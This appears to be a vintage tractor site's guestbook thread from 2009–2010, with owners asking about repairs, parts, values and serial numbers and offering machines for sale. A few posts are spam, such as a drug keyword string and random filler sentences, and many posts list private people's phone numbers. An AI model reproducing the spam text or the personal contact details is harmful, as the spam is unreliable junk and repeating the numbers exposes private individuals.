John Little Axe wrote on Sunday, March 07, 2010 (PST):I have a IH TD-35 runs okay everything works so far, I just bought the machine, when running on gas it seems to run fine, but when it switches to diesel it starts to miss, and smoke. The guy I bought it from says that the injector pump was leaking and he took it apart and replaced gaskets and two gears fell out, he just put them back in, but when he started the crawler back up it started smoking and missing. He advised that an fuel injector shop says the pump is out of time, is this possible How much are these crawlers worth. This particular crawler is in good shape, fair paint job, great undercarriage, the engine is clean on the gas side, a little diesel leaks on from a return line on the injector pump, the crawler seems to lack power. Any suggestions
Brad Womack wrote on Saturday, March 06, 2010 (PST):I have an inoperable Oliver OC 15 crawler that I would like to sell, trade or scrap. The 6 cyl hercules diesel engine is frozen due to rain water entering cylinders. Heads are off and in good shape. Dozer was running strong prior to water damage. I hate to scrap this machine. It has many good parts and good undercarriage and probably could be brought back to life. If interested, call me at 985-290-7404
gary wrote on Saturday, March 06, 2010 (PST):i have come across some old cast iron miniature oliver tractors and accessories made buy the oliver tractor company. looking for collectors and or buyers to sell to.
Duane Olson wrote on Friday, March 05, 2010 (PST):I have a Case tractor and believe it s a Model D. I looks nearly identical to the one pictured above. I cant find a model number or serial number and do not know what year it is. I need a magneto and also a carburetor rebuild kit. Where can I get info on my tractor Any and all help is appreciated!
Duane Olson wrote on Friday, March 05, 2010 (PST):I have a Case tractor and believe it s a Model D. I looks nearly identical to the one pictured above. I cant find a model number or serial number and do not know what year it is. I need a magneto and also a carburetor rebuild kit. Where can I get info on my tractor Any and all help is appreciated!
Patricia Candrian wrote on Tuesday, March 02, 2010 (PST):We have an unrestored 1946 Case VAI tractor that someone is interested in buying, but we don t know it s value. Can someone help us Thank you.
Abnotokenemok wrote on Friday, February 26, 2010 (PST): Hes no danger to anyone. He was looking at Francisco. He answered, I dont know. It cost eight million dollars. There are other issues involved, besides questions of fact. They wont tell me, but I know. The public has been demanding economy. It has ceased to disturb me, long ago.
mike watson wrote on Friday, February 26, 2010 (PST):My daddy bought one of these about 1962. It was a diesel. Dont know the horsepower. We were tobacco farmers. but it replaced our mule cultivated after a fashion pulled the irrigation system and payed off the morgage.
Terry Stefancik wrote on Thursday, February 25, 2010 (PST):To Red Power; are you the same one with the picture of the 4010 gas in the vintage pictures.
Denny Beard wrote on Sunday, February 21, 2010 (PST):I grew up on a B Farmall farming with my Day and Grandpa. We used that little Tractor for everything from pulling a corn binder to Breaking Show Calves to lead. I would very much like to purchase one but don t know were to look. Thanks for any Help..
Doug Ackling wrote on Sunday, February 21, 2010 (PST):I have a MF97 I am looking to sell call 218-849-0120 or 218-346-7315
Vincent W. Paul wrote on Sunday, February 21, 2010 (PST):I ve got a 1947 Massey Harris #20 I m looking to sell. New rubber, points, plugs, coil and wires. Needs paint and seat tightened. Great running tractor! Also have aftermarket service and repair manual for it. I now need something with a 3-point, so I m selling this one...macgyver at centurytel.net
Bernard Winn wrote on Saturday, February 20, 2010 (PST):I have a 1952 G that has been restored.I would like to know more about your meeting in Octobor.I am located in Hampton,S.C 29924. Thanks
Nuta wrote on Thursday, February 18, 2010 (PST):There is surely a piece of divinity in us, something that was before the elements, and owes no homage unto the sun. paxil maoi inhibitor codeine phosphate hemihydrate picture of depression and the brain depression disability mmi cabbage rose depression glass generalized anxiety disorder study panic receptor
Bill wrote on Wednesday, February 17, 2010 (PST):I recently discovered an original Instruction Book for a MCCormick-Deering Farmall Tractor Model F-20 Bottom of the book I believe is the published date of 25M- 6-19-37 The book is in relatively good shape for the yeard. 87 pages. What would something like that be worth I wonder
Cy wrote on Tuesday, February 09, 2010 (PST):we are restoring a 1917 b-16 vb. we need some sheet metal and some other stuff. if you have any or know where we could get some parts please email them to me please.
Gord Kosinski wrote on Monday, February 08, 2010 (PST):I have been told that a MH81 and MH20 are about one and the same.Anyone know if this is so I m looking for a PTO shift collar for a Massey Harris 20.Any help would be greatly apprecited. Thanks Gord.
Brad Johnson wrote on Saturday, February 06, 2010 (PST):Need to know how the plow mounts on a 1940 JD-L.
Ray Jones wrote on Wednesday, February 03, 2010 (PST):What is a 1948 Model 42 worth It in good shape.
Pieter Basson wrote on Wednesday, February 03, 2010 (PST):I live in south africa and have my fist k44,my father farmed whit it ,i have a fhoto on it when i was 3 or 4jears old, i am bussy whith it and need al the stikers
LEE MARION wrote on Wednesday, January 27, 2010 (PST):My Uncle John had a Port Huron Traction Engine and Thresher, I have a picture of it and the thresher when it fell though the Cass River bridge east of Marlette, Mi. I also have a technical manual for the Port Huron Machine that I could make copies of if anyone is interested. 18 plus shipping, lee
Mason Wolfe wrote on Wednesday, January 27, 2010 (PST):My question is, I have a 1946 Farmall M and I was wondering what if when I redo the tractor is there anyway that I can change it to a Super M and add a TA to it What kind of problems will I run into And will it cost me a lot of money I was told just to redo it just the way it is now, it would cost me around 6,000.00 . Please let me know as the winter is getting shorter and I want to know what it will take to finish it off. I used this tractor to mow grass with in the summer. Thank You.
Barry Card wrote on Sunday, January 24, 2010 (PST): It s me again. Some of you s have wrote and said you were having starting problems and loss of power on grades. My father had this problem and it wasn t the gas lines or sediment bowel deal. Check your distibutor cap and points. They crack and leak. Especially if thy aren t kept in a garage or barn. His ran perfect after this little deal was taken care of.
Barry Card wrote on Sunday, January 24, 2010 (PST): After reading all of these comments. I ve called my mother in NY and asked if she wanted to sell her 2 Cubs she has with the belly mowers and so on. She has given me the go ahead. I do not know the years for them, but they ve both gone through over hauls years back and as of just a couple years ago were mowing lots of grass. She s looking for 1500 for the red one and 1000 for the white and yellow one. She has xtra blades and I believe belts for them. And the one red one has the Woods mower deck everybody seems to b looking for. If interested give her a buzz at 845-986-4205. Maybe some of you s will luck out and find what you ve been looking for at a decent price and in working order.
Tracey Stumbo wrote on Saturday, January 23, 2010 (PST):I have a 1938 f20 and serial# I think is FA112445 if this is even the # I am wondering if anyone wiil please please help me determine what I have so I can begin the process of trying to restore, I have no idea what size or make of the engine so I can buy overhauling kit, please please help me and maybe some #s and companies so I can contact for help please please someone find the time in your heart to help me get in touch with my late grandfather so I can make him proud when he looks down from above and see his tractor working the land he and my great grandfather worked so many years ago, once again please help!!!!! I thank you so very much Tracey
Jim wrote on Friday, January 22, 2010 (PST):I have brand new castings of the manifold on the 1921 model. Made new patterns and had a few extra cast. I can sell as raw castings or machined.
Dave McLandress wrote on Thursday, January 21, 2010 (PST):I have a f-20 and am in the middle of buying some parts to restore it . I was told it was a 1935 when I bought it but I am wondering if in fact it is a 1938. It is red and the serial number on the frame is FA121056N. It has one round spoke and one flat bar rear steel rim. Anyone with some guidance would be most appreciated. 313-702-1041.
William Keyser wrote on Thursday, January 21, 2010 (PST):Would a 1947 Oliver 60 Row Crop be safe to use for pulling a hay ride trailer, or would it be too tippy Thanks, Wm
lucia hili wrote on Thursday, January 21, 2010 (PST):my father has a very old case tractor here in gozo ,malta,and he would like to put the pics on this site can any one help me please,thanks
Dave Fletcher wrote on Wednesday, January 20, 2010 (PST):Looking for good head to 1947 Farmall B Engine. Call 317-489-2697
Jim Paxton wrote on Tuesday, January 19, 2010 (PST):Istarted farming in Missouri in 1970 with a 720 it was a outstanding tractor we farmed 200 acere with this tractor with very little problems. The 720 diesel still holds the Neberaska fuel useage study pulling a 4 bottom 16 plow it would only use about 3 gal a hour.
gary collins wrote on Thursday, January 14, 2010 (PST):I can t find a place to buy parts Distributor, points, cap ect for my 81. Also, the carb only has one adjustment, but my manual says it should have two. Any help is appreciated. Thanks Gary
John Radewald wrote on Wednesday, January 13, 2010 (PST):Good for you Donald - would like to know more about you meeting- how many showed up etc. I find few AC people here in calif - I have finished one G restoration an have three more to go if I last that long ! - I also finished one B with a couple more of those to go - hang in there -John Radewald in Moreno Valley california 951 242 0899
herman barringer wrote on Wednesday, January 13, 2010 (PST):I dont see any farmall 300 how many were made I KNOW THEY WERE MADE IN 1954 1955
Jamie Thresher wrote on Monday, January 11, 2010 (PST):I am in the process of helping two friends restore a IH 8-16. I know we atleast need the magneto, not sure what else yet. If anyone knows of any sites that offer replacement parts that are original to design, that would be awesome. We are restoring the tractor for an old farm museum.
Madison Orange wrote on Sunday, January 10, 2010 (PST):Do anyone have the wiring diagram for a D17 starter solenoid Specifically need to know if the solenoid is ground or 12v activated.
Jordan Loeb wrote on Friday, January 08, 2010 (PST):I have an AC 160 for sale. My father purchased it new in the early 70 s. We farmed with it for a few years and it has been used very lightly for the past 20 years. Engine rebuilt 2 years ago. Good rubber, runs great. Needs some TLC. Jefferson County, WI
bill austin wrote on Wednesday, January 06, 2010 (PST):I have a MD. Recently when I switch from gas to deisel it does not completly swicth over. Before when I would switch it over it would make a click noise switch fine now after switching it takes along time for it to make the noise completly switch over. any ideas on how to fix this
Dave S wrote on Wednesday, January 06, 2010 (PST):I built a york rake and I need a pattern for the Part or point that enters the fast hitch..Or an inexpensive attachment with said item need not work for an Int l Cub Lo-Boy...Can t seem to locate anything in my area. any help greatly appreciated...Thanks Dave
Al Simmons wrote on Tuesday, January 05, 2010 (PST):Need help identifying whether I have an L or an LA. Would appreciate some help. Will send pictues but need to know which views or parts.
Mike Koon wrote on Sunday, January 03, 2010 (PST):Looking for babbit rod bearings for JD LA in Michigan.any help would be apperciated.thank you.mike
Bernard Bogley wrote on Thursday, December 31, 2009 (PST):Hi I have a International 816 that i bouth and i nead some parts .would there be some one out there that can help me with finding some parts for my tractor. like the radiator air breather oiler sistem small drive grear that goes on the transmision and carberator
rodpursley wrote on Thursday, December 31, 2009 (PST):Lee thomas send me a email and some pictures of what you have left on the motor id like to do a deal with you thanks rod
c grulkey wrote on Wednesday, December 30, 2009 (PST):DO ALL OLIVER 70 HAVE ALUMINUM HOODS ON THEM WE HAVE ONE
ed mosset 701 422 3738 wrote on Tuesday, December 29, 2009 (PST):looks like one on top of page.
ed mosset wrote on Tuesday, December 29, 2009 (PST):have an old b setting around taking up space would like to trade it for small tractor with 3pt. with 30hp pto for posthole digger , or cash runs ok tires poor make offer can provide cell pics.
mike wrote on Monday, December 28, 2009 (PST):to answer the june 22 question. diff between f 20 and f 30 is 10 hp and about 500 lbs. as far as physical, the f 30 is maybe 6 inches taller and 4 inches wider at the hood. very obvius if the 2 are side by side. other than that, you can get casting #s off left side engine block , drop housing, front steer gear housing, etc and they will all lead you to which one you have, good luck.
ED R . wrote on Monday, December 28, 2009 (PST): Dating the MH . Look under the tractor, just forward of the transmission housing on most you will find a date in the casting. That is the date that casting was made.As a general rule the tractor was built one year later .This date was omitted in later models , probably 1954/ 55. also the later MHF models 333-444 did not have it. also there is a book MASSEY FERGUSON TRACTORS by MICHAEL WILLIAMS -ISBN 0 71371898 6- THAT HAS EVERY SERIAL NO OF EVERY TRACTOR BUILT , BY MODEL AND YEAR This book is out of print but there may be some around . check the internet. this book was first printed in 1987 in england by blanford press.
larry veach wrote on Sunday, December 27, 2009 (PST):would like to buy a set of half tracks 800-736-2985
wl pierce wrote on Sunday, December 27, 2009 (PST):enjoy reading site glad to know thier parties enjoying F style tractors have f20 37 h 49 see ya
Jeff Peet wrote on Friday, December 25, 2009 (PST):I have a T-6 crawler 1931 that I need to sell, It is in good condition, needs a new fuel tank and some paint, the undercarrage is like new has very little hrs on origanal motor if you are interested 559 299-4996
Bruce Voigts wrote on Wednesday, December 23, 2009 (PST):I have a 1951 Massey Harris Diesel row crop. It is as old as I am. I still drive it. I use it to haul wood for the fireplace. I like the sound of it and at one time, it may have been the biggest row crop tractor available.
Jeff Adams wrote on Wednesday, December 23, 2009 (PST):I think the oliver 70 is 37hp at 1650rpms
Kevin wrote on Monday, December 21, 2009 (PST):I have Hart-Parr 30 and im looking for a front axle complete Thanks
Jeff Thompson wrote on Sunday, December 20, 2009 (PST):Am looking into putting a v8 in a old John Deere any one have any idea s.
Tony White wrote on Saturday, December 19, 2009 (PST):I have a Cub Tractor and have several pieces of Equipment that I found several years. I have most of the parts for the L-54 Leveling and Grader Blade, but do not have the Spring Rod nor do I have the Mounting bolts and Hardware nor the knowledge of how to mount to the Tractor in order to use to push snow off the Driveways , Don t snow much here but when it does it would be nice to be able to use what I have. thanks for any help .
Joe wrote on Wednesday, December 16, 2009 (PST):What is the narrowest width that the rear end on a Farmall B can be set I am planning to go pick one up soon. I was wondering if I can get it to fit on a trailer with an 7ft wide deck
bruce brown wrote on Monday, December 14, 2009 (PST):I am in the process of rebuilding my O14but I can t find a repaire manual. This tractor has been stored for apx. 30 yrs. clutch will not disingage, fingers that go against the throut bearing are rusted tight. HELP thanks
Kris Johnson wrote on Sunday, December 13, 2009 (PST):I have a 1948 Case VAC Narrow front tractor. I would like to sell it. It is unrestored and unpainted. I was wondering if anyone thinks somewhere in the ballpark of 2000 is out of the realm. Thanks
Brian Watson wrote on Saturday, December 12, 2009 (PST):I have a 1947 60 that my Grandfather bought new in 1949 from Howard Hand in Independence Ia. It sat 32 years on blocks in my uncle s machine shed before I got it. It also had the 2 row cultivator still on it. Just finished restoration this year. It s a very easy to drive, fuel efficient tractor.
g. nolting wrote on Friday, December 11, 2009 (PST):we have a 1948 oliver 60 with the original u.s.royal farm tractor tires on the rear. they still do hold air. i also use it fom time to time.
clinton wrote on Friday, December 11, 2009 (PST):I have a vac case and was looking for the eagle hitch arms assembilly for the back if any one has it let me know
JON MCKENNA wrote on Thursday, December 10, 2009 (PST):Wanted to buy Massey Harris 81 in good condition located in the midwest.
James Delk wrote on Wednesday, December 09, 2009 (PST):My daddy and uncle had a John Deere Model GM that they bought in 1942 . The shipment was delayed because of wartime shortages of steel; the dealer called the depot in Louisville says that if they never shipped him another tractor he wanted this one and one other. By the time John Deere shipped it to Columbia, TN the government has shut down of equipment sales so that they had to go thru. the rationing board AAA board, I think . Everybody nearly wanted that big tractor, but the dealer, Mr. Henry Porter, stood and said that, This tractor was ordered for this man and this other tractor was ordered for this other man; I think that they each ought to get them. Mr. Porter took good care of my family during the war as it related to equipment.
J.R. Latham wrote on Tuesday, December 08, 2009 (PST):I have a 1947 Farmall B and was wondering if the emplements off of an A would fit it I have read were people say that they were the same just the engine were placed different
dfc wrote on Monday, December 07, 2009 (PST):Did John Deere ever make a large size tractor like the model R with a front crank start
lee thomas wrote on Monday, December 07, 2009 (PST):I have a 1929 farmall reg that I am instlling a 1927 chevy engine in just to be different. If anyone needs engine ,clutch parts radiator will be glad to sell I bought this and was going to restore bud decided to use chevy have new rings and gaskets for engine let me know if you need aythng thanks lee
Donald Sims wrote on Sunday, December 06, 2009 (PST):THE FIRST ANNUAL MODEL G ROUNDUP WAS HELD ON OCTOBER 9-11-2009 AT THE OLD ALLIS CHALMERS PLANT LOCATED IN GADSDEN ALABAMA WHERE THE MODEL G S WERE BUILT .THIS SHOW ATTRACTED MODEL G OWNERS FROM SEVERAL STATES FOR THEM TO BRING THESE LITTLE TRACTORS BACK TO WHERE THEY WERE ORIGINALLY PRODUCED .THE SHOW WAS A FIRST OF ITS KIND WITH LOTS OF HARD WORK INVOLED AND LESSONS LEARNED TO HELP MAKE NEXT YEARS SHOW BETTER WHICH WILL BE HELD ON THE SECOND WEEKEND IN OCTOBER BUT INSTEAD OF A 3-DAY SHOW IT WLL BE ONLY A 2-DAY SHOW .NOW I HAVE TASKED MYSELF WITH THIS TO ENCOURGE YOU BRING YOUR -G- TO THE SHOW BUT IF YOU CANNOT MAKE IT I AM TRYING TO LOCATE AS MANY OF THESE TRACTOR BY SERIAL NUMBERS TO SEE HOW MANY ARE STILL IN EXISTANCE EITHER ORIGINAL, RESTORED ,OR PARTED OUT, I ONLY NEED THE SERIAL NUMBERS WHICH IS LOCATED IN FRONT OF GEAR SHIFT ON THE FLAT SURFACE WITH THE NUMBER STAMPED IN THAT STARTS WITH THE LETTER G LIKE G###### , MOST OF YOU KNOW THAT I WOULD LIKE TO KNOW TRACTOR LOCATION, SUCH AS CITY AND STATE AND CONDITION SUCH AS ,ORIGINAL, RESTORED, OR PARTED OUT NO PERSONAL IMFORMATION NEEDED ONLY IF YOU WISH TO DISCLOSE . I HAVE ONLY 10 MONTHS TO TO DO THIS BEFORE THE NEXT SHOW ,SO IF YOU THINK YOU CAN HELP ME WILL GREATLY BE APPRECIATED YOU CAN CALL DONALD AT 256-492-1350 OR 256-490-1505 CENTRAL TIME, HELP ME BEAT THE BUSHES TO SEE HOW MANY WE CAN LOCATE .THANKS
Brad Greening wrote on Sunday, December 06, 2009 (PST):I was looking for a wiring diagram for a 1939 Oliver 70 Standard. Hope someone can help..Thanks.
GENE wrote on Saturday, December 05, 2009 (PST):Again to Mike if you haven t sold your tractor yet i m willing to pay 400- 900.
Tom W wrote on Friday, December 04, 2009 (PST):Looking to possibly buy a 1937 Case Model C or a mid 1940 s Case Model VAI. Would like to know more about their current unrestored value.
Al Sweeneyi wrote on Thursday, December 03, 2009 (PST):I bought a 1949 B johndeere that didnt run i enjoyed rebuilding it now like to go for rides with my 6 yearold daghter and use it for plowing snow with it
w l pierce wrote on Wednesday, December 02, 2009 (PST):have 37 f20 with road gear would more info thanks 217 341 1840 thanks
Ron Pann wrote on Wednesday, December 02, 2009 (PST):I ve a 51 VA std. with Wagner full hyd. loader, just saw another just like it for sale with wagner trip bucket loader and PTO and may get for future project. Any collector interest in these beside just utility snow removal chores The live hydraulic power is real asset. The PTO equipped one I m considering buying would be a good belly mower tractor for year-round use.The buckets remove easy, though the loader frame itself would be tough to remove.
Art Corbit wrote on Saturday, November 28, 2009 (PST):Looking for a G Alice Chalmers running or not. Hopefully with a cultivator. Driving distance of Western Arkansas.
Bud West wrote on Friday, November 27, 2009 (PST):I have a Massey Harris tractor, Model 44-GR, Tractor # 1234. It does not run, but would be a good tractor to rebuild. All sheet metal is in very good condition, no dents or rusted out places, original front and rear lights. This tractor has been parked for over 25 years, no water in oil. Even the front grille is intact with no dents.
chuck cramer wrote on Thursday, November 26, 2009 (PST):I have owned a mod 18-35 F RockIsiand tractor for 30 years or so . I also need parts for mine . do have orig man and some orig ads from farm mag chuck cramer 715-235-4084
tom abbring wrote on Wednesday, November 25, 2009 (PST):I have a super M that i got from a farmer .He got new in 1954. It runs good and looks good.And now its my chick magnet.
JOHN RASMUSSEN wrote on Wednesday, November 25, 2009 (PST):I HAVE AN EXTRA HERCULES ENGINE FOR A JD MODEL L. THE ENGINE IS A LONG BLOCK WITH BELL HOUSING AND FLYWHEEL AND IS IN REAL GOOD CONDITION.
Gene wrote on Tuesday, November 24, 2009 (PST):To Mike if he hasn t sold his 1953 farmall cub. I m willing to give you 400-700 for it my top price is 900.
Perry Belcher wrote on Sunday, November 22, 2009 (PST):I have a 8n ford that will not charge Battery need help with electrical any help is needed Thanks
Marc Slingwine wrote on Sunday, November 22, 2009 (PST):What is an IH 1917 8-16 restorable tractor worth
David Mahan wrote on Saturday, November 21, 2009 (PST):I have a 1951 Farmall Cub. I need a McCormick Duplex model C planter. Does anyone have one for sale
Peter wrote on Friday, November 20, 2009 (PST):Working on restoring a B right now... Need Battery box cover badly. Also, anyone have advice on SLEEVES P.S. I am 13 so this is a learning experience. And Yes I value the tractor very much, if any of you think a kid isn t worthy. Anyway, SLEEVES anyone THANKS!
Eddie Schantz wrote on Friday, November 20, 2009 (PST):We farmed with a Massey Harris 55 in the late 60 s, but I don t know what year of tractor it was. As a teen ager I certainly was not happy to drive it. It did not have power steering was very bulky to me. But it was a dependable tractor and gave us very little trouble. We farmed in west-central Oklahoma and used it mainly to farm our wheat ground. We used a 1949 MM U for our rowcrop when I was growing up. One of my brothers still has that tractor it has been restored. I often wondered where that old Massey ended up. Who is this moron that put these posts up from April 23-26th. Why can t they be deleted
wilson braña c. wrote on Thursday, November 19, 2009 (PST):tengo un tractor oliver modelo IXB-3 PARTE CON BENCINA Y TRABAJA CON PARAFINA ,PERO ME FALTA EL SISTEMA ELECTRICO PARA HACERLO FUNCIONAR, SI ALGUIEN DE BUENA VOLUNTAD LO SABE SERIA DE MUCHA UTILIDAD PARA MI DESDE YA MUY AGRADECIDO WILSON
Mike wrote on Tuesday, November 17, 2009 (PST):I have a 1953 farmall cub tractor for sale. The tractor has a 42 belly mower. This tractor runs and cuts great, make offer.
Glenn Winter wrote on Saturday, November 14, 2009 (PST):Ihave a 8n flathead 6 funk conv.for sale very good shape 6000 and a v8 4x4 8n show tractors for sale 12,500 both have o/u shermans thanks Glenn
Wyatt Campbell wrote on Wednesday, November 11, 2009 (PST):this is the first Case VAO ive ever seen.
Michael Elliott wrote on Sunday, November 08, 2009 (PST):My buddy wanted me to put this on here. He has a 44 Massey Harris gas burner with trike front end. I told him some one may be interested on this site. I looked it over pretty good. The engine doesn t run and the brakes are locked up but it s not beat up,it has PTO and 1 hydraulic lift on back. If anyone is enterested call Roy at 205-270-9575.He ll make you a great deal.
francis schmitz wrote on Sunday, November 08, 2009 (PST):what color are the wheels suposed to be on a 48 g thanks
dallas ivory otter lake mich wrote on Saturday, November 07, 2009 (PST):i noticed alot of pto problems more than likely it is just out of adjustment on the pto caseing there is an inspection hole take plug out with a light turn pto until u see set screw take screwdriver and turn it in then tighten untill pto engagement lever has it s SNAP back turn set screw back out and you ll be back in business
Terry Stefancik wrote on Thursday, November 05, 2009 (PST):I bought my dad s 1953 R in 1996. I recently hauled it to Elnora, IN 2009 and participated in the fun pull. Had the wheels up and the motor blowing smoke.
Taragerycle wrote on Thursday, November 05, 2009 (PST):Hi all wanted to introduce myself!! I look forward to being part of this comunity.
Tina Berkley wrote on Thursday, November 05, 2009 (PST):I bought a International Farmall Super MD eight years ago. It is a wide front end with spin out back tires. We use it for bush hogging. I have it for sale. I am asking 3500.00
Ted Winderl wrote on Wednesday, November 04, 2009 (PST):For all you Sheppard enthusists out there. My dad was also a dealer of these tractors and engines in the late 40 s and 50 s. I had alot of info for SD3 and SD4 that I gave to some farmers from Norh Dakota that bought the engines. Some facts that were unique about these were that, pistons,rings,bearings,sleeves rocker arms,injectors were all the same. If one was desparate, you coulde cut the 4th cylinder off of the head gasket and use it for the SD3 engine. To fix the rear main seal on the SD3 was simple, to just simply slid it across a real fine sand paper on the sealing surface on a perfectly flat surface and it would take all the nicks out of it and it would seal again. On rebuilding the injector pumps, one would have to take it to a machine shop and bore out the plunger bore and sleeve it back to standard. Similar to like putting bushings in valve guides in a cylinder head. The waterpump on an SD3 was the same as that on an M-farmall gas tractor. Sheppard made the SD3 engine to where it would fit right into an M-Farmall. During the 40 s when gasoline was rationed, Sheppard had a conversion to where the SD3 engine could be put into a Packard car. I believe that would be real heavy in the front end!! Shepperd also made a 6 cylinder. I saw photos of one in the literature I gave away.It was used as a power plant. Hope this helps you guys.
Phillip Cook wrote on Tuesday, November 03, 2009 (PST):Anyone know what the ratee hp was on these old Oliver 70s Have one barely restorable thinking of dropping a diesel on it to run around the farm, rather then to scrap it out which might well be the other option. Trying to figure if the diesel I have in mind is anywhere near the same hp. Thanks to all who respond.
Ashley Weaver wrote on Tuesday, November 03, 2009 (PST):I found my dad a 1941 john deere h a couple of years ago. it runs great but as dad says is still in its work clothes. i love getting it out and playing with it...its so much fun ;
Jon Scherff wrote on Saturday, October 31, 2009 (PDT):Just bougth a 49 cub and looking forward to working on in the barn this winter. I really enjoyed reading all the postings over the past 10 years you got me fired up to start the restoration work. Thanks
Kendall Williamson wrote on Saturday, October 31, 2009 (PDT): My uncle owned an 830 and we had a 630 rowcrop and then an 8o. My dad bought the 630 new and I bought it back in the late 80,s from the neighbor,s and still own it. I also bought an 830 in 86 with 5131 hours on it and repaired a few seals and repainted it and changed all oils. I farmed 320 acres with it for 8 or 10 years and always enjoyed the way these tractors sounded and pulled. It has 6825 hours on it now as I just looked. I took it out of the shed this summer and cleaned it up and changed fuel filters and cleaned the pony motor carb as it was gummed up from sitting for 7 years. Both engines run well and was great to hear it run again!! These old 2 cylinder tractor will run huge hours if they are looked after, this one still does not use oil between oil changes. In the spring of 07 there was one in northern Alberta sold for 15,000 and another for I think was 13,500 but don,t know the hours that were on them. They looked in very nice codition from the pic showed. I have a Meade cab that was on it when I bought but took it of this summer when I cleaned it up.
Gregg wrote on Saturday, October 31, 2009 (PDT):I have a farmall b tractor the only number I could find was 127895 that was located under the seat frame. I need to know what kind of carburator it has on it to order rebuild kit.
SpapenlageZen wrote on Thursday, October 29, 2009 (PDT): gps ip imei
John Sykes wrote on Thursday, October 29, 2009 (PDT):I recently purchased a 1953 Farmall model F-Cub the tractor is in good condition and I am wanting to restore the paint to the original color on the tractor and its equipment. Currently the tractor is red with the aluminum color trim on back wheel and the equipment is rusty. Can you advise me on paint colors and where I could purchase them I noticed that tractor supply has some Farmall colors but wasn t for sure if that would be the correct colors to use on this tractor. I have noticed pictures of restored farmalls with the equipment painted a blue color. Thanks so much for your help.
Carey Lambeth wrote on Wednesday, October 28, 2009 (PDT):Am I the only one that owns a D-17, LP It was the first tractor that I ever owned, and I recently trailored it from Oklahoma to Washington. I m in the process of getting it back in shape so that I can bale hay with it again. Back in the day, it seem like I could run all day on a tank of propane. If anyone else owns one, let s talk. 350-435-6448
Joe Roberts wrote on Tuesday, October 27, 2009 (PDT):A friend of mine has a two bottom trip plow. The trip mechanism is up high and is driven by a chain from the wheel. We cannot find any manufacturer name on it anywhere. Does anyone have any idea who this manufacturer is
Bonnie E. Johnson wrote on Monday, October 26, 2009 (PDT):My twin brother has a super A farmall, 1954. We were raised on a tobacco farm and we raised peanuts and corn also. I had 2 brothers that had to do a lot of cultivating. I am trying to find something with several pictures of farmall tractors on it,older model ones to give to my brother for Christmas. He has things like that hanging in his shop, although our parents have passed on and none of us farm now but if any of us would have farmed,it would have been him. He has several tractors and has never farmed since he got out on his own. In our area you have to be a huge farmer to make a go of it. It is nothing like it was when we were growing up. It s a shame that some things have to change. Anyway,he is a big fan of farmall tractors and has caused me to have an appreciation for them as well.
David W. Dill wrote on Thursday, October 22, 2009 (PDT):I am looking for the adjustment procedure for the #62400D Speed Attachment for the Farmall M tractor. I have the Operator s Manual and the Service Manual but the info is not contained in either of them. It would be greatly appreciated if someone would help me out on this matter. Thank you. David
J.R. wrote on Monday, October 19, 2009 (PDT):I agree with J.B. Bailey and all others. I grew up on my grandpa s farm riding the old but powerful Allis. His 1966 D-15 Series II was my faveriote and still is to this day,along with his 1964 D-10 Series I. Both are still plowing the fields and still getting up hay today. I am the second owner. My grandpa gave me these tractors to keep the spirt alive. So I could past them on to my children.
Austin Smith wrote on Sunday, October 18, 2009 (PDT):What do I need to convert a 3 point hitch back to a 2 point hitch
Austin Smith wrote on Sunday, October 18, 2009 (PDT):What do I need to convert a 3 point hitch back to a 2 point hitch
Austin Smith wrote on Sunday, October 18, 2009 (PDT):What do I need to convert a 3 point hitch back to a 2 point hitch
Austin Smith wrote on Sunday, October 18, 2009 (PDT):What do I need to convert a 3 point hitch back to a 2 point hitch
Marty wrote on Friday, October 16, 2009 (PDT):I am looking to buy a International Super A need not be show room complete but be complete. Let me know what, where and you are asking.
Brent wrote on Saturday, October 10, 2009 (PDT):I grew up on an R and an 830. They were hauled off the farm by Pete s Salvage in the late eighties or early nineties. Finally found an R that needs front sheet metal and hood and would trade cash, good running 70D and strone little B for an 830. 701 730 4402
Brent wrote on Saturday, October 10, 2009 (PDT):I grew up on an R and an 830. They were hauled off the farm by Pete s Salvage in the late eighties or early nineties. Finally found an R that needs front sheet metal and hood and would trade cash, good running 70D and strone little B for an 830
James Stephens wrote on Saturday, October 10, 2009 (PDT):My father-in-law has a Ferguson TO20 and is trying to replace the cam shaft. Can anyone tell me where to get a good shop manual with instructions and diagrams of the Z-120 continental engine. He is an experienced mechanic but not with this tractor.
lloyd sorlien wrote on Friday, October 09, 2009 (PDT):The 54 super H did have live hydralics. I had on. I bought a 1948 H tractor 2 months ago and when I drove it in 4th. gear the front weels wobbled really bad. I loaded itonmy rrailer and took it home. The nut on the stearing shaft in the case up frontd was completely off the shaft.The gear was loose too on thedown shaft. Itis tapered so I hit it lightly down and tightened the nut. Helped a lot. still wobbled some in 5th gear. I put a tapered plate on the pedistool with the 4 bolts. Put the wide part to the rear. Now the tractor goes down the road in road gear and goes straight. I paid 950.00 for the H. many go for opvwer 1200. here.
Larry Bader wrote on Friday, October 09, 2009 (PDT):I started out with a John Deere 41 L frame I bought on ebay. It came with front axle and wheels, tires were shot rear end and trans entact, steering,and propeller shaft with clutch housing. No sheet metal, engine, seatframesupport, and other parts. It had a tag! serial number 634725. I got it home and over the next 2 years I have been busy on ebay. I have used parts and NOS parts. Some are expensive, like the fiber discs. I m still in need of one rear wheel rim. I managed to get a hub for one. and a set of 22 tires and tubes. I have three engines to use. 1 Hercules, 2JD LUC. I ve had fun so far. One piece at a time. I also have a 34 A John Deere.
Matthew Grooms wrote on Thursday, October 08, 2009 (PDT):I am looking for a GPO for my dad on his birthday.PLEASE HELP ME.
Jim Broughton wrote on Tuesday, October 06, 2009 (PDT):To; Fred Sheppard...Your Cub is a 1955 model made late in the year just before the 56 models came out ! Have fun with her...I just put on the plow fast-tach and plowed up my potatoes...they are handy little machines ! Jim B. in Oregon
brent tro wrote on Monday, October 05, 2009 (PDT):I have a massey harris 555d cant get fuel to all injectors. May be interested in selling or learning how to make run. Also I know a person in shawnee ok. who restores tractors who may have or could find or fix tracto rim.
Jim Sereyka wrote on Sunday, October 04, 2009 (PDT):I have a Case that has an ID tag on the panel facing the tractor operater, it reads VC4518865. The starter is missing and so is my memory of why. My wife tells me it did have an old Ford starter in it. The pitch or distance as measured from the top of one gear to another on the fly-wheel or driven gear measures about 3/8 of an inch. Please help me identify and locate a new or used starter. Thank you very much for your help. Jim
Jerry wrote on Saturday, October 03, 2009 (PDT):To Wade Combs, by the serial number list on the site here, it is likely a 1948 Super A. The numbers they list are from the 250s to 268. I am considering buying and restoring a 1947 Super A to cultivate the garden I am clearing out. I have a 140 with a fast hitch for the plowing and other work.
